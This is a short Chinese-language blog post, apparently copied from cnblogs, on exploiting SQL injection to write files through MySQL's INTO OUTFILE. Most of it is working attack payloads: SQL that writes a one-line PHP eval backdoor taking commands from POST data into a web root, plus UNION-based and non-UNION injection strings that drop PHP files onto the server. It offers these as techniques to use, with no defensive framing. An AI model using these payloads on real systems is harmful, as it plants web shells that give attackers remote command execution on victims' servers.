标签:sts 语句 nio nat min text creat exists 字符
Drop TABLE IF EXISTS temp; //如果存在temp就删掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段
Insert INTO temp (cmd) VALUES(‘<? php eval_r($_POST[cmd]);?>‘); //把一句话木马插入到temp表
Select cmd from temp into out file ‘F:/wwwroot/eval.php‘; //查询temp表中的一句话并把结果导入到eval.php
Drop TABLE IF EXISTS temp; //删除temp
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12UNION SELECT 1,2,‘zerosoul‘,4,5,6,7,8,9,10,11,12/*,则返回页面上次显示3的地方会显示zerosoul。
也就是说如果我们的select语句后面不带from table语句的话,我们说查询的数字或字符会直接返回到查询结果里。
1、union写shell
id=2) union select 1,2,3,4,5,6,7,‘<? phpinfo(); ?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’
2、no union
id=2) into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’
如select * from users into outfile ‘c:\1.txt‘ fields terminated by "<? phpinfo(); ?>"
有了这个思路,上面那一大段到出一句话的SQL代码可以直接简化到一句:
Select ‘<? php eval_r($_POST[cmd]);?>‘ into outfile ‘F:/wwwroot/eval.php‘;
标签:sts 语句 nio nat min text creat exists 字符
原文地址:https://www.cnblogs.com/fengshui/p/9265534.html